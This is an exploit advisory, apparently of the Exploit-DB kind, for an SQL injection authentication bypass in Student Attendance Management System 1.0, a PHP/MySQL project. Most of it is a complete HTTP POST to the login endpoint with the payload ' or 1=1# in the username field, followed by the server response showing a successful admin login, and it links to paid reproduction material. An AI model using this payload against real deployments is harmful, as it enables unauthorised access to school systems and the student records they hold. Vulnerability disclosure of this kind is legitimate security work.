## Titles: Student Attendance Management System-1.0 Bypass Authentication
SQLi
## Author: nu11secur1ty
## Date: 06/22/2024
## Vendor: https://github.com/oretnom23
## Software:
https://www.sourcecodester.com/php/14561/student-attendance-management-system-using-phpmysqli-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The username parameter is not sanitizing well, the attacker can inject
direct queries into the login form and easily bypass the authentication of
the admin account.
STATUS: CRITICAL- Vulnerability
[+]Exploits:
- Exploit:
```POST
POST /student_attendance/ajax.php?action=login HTTP/1.1
Host: pwnedhost.com
Cookie: PHPSESSID=2otv2s74md44qhb7do890mhhp4
Content-Length: 104
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: en-US
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Platform: "Windows"
Origin: https://pwnedhost.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://pwnedhost.com/student_attendance/login.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
username=nu11secur1ty'+or+1%3D1%23&password=stupiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiid
```
[+]Response
```HTTP
HTTP/1.1 200 OK
Date: Sat, 22 Jun 2024 06:37:41 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
X-Powered-By: PHP/8.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
1
```
## Reproduce:
[href](https://www.patreon.com/posts/student-system-1-106665723)
## Proof and Exploit:
[href](https://www.patreon.com/posts/student-system-1-106665723)
## Time spent:
01:25:00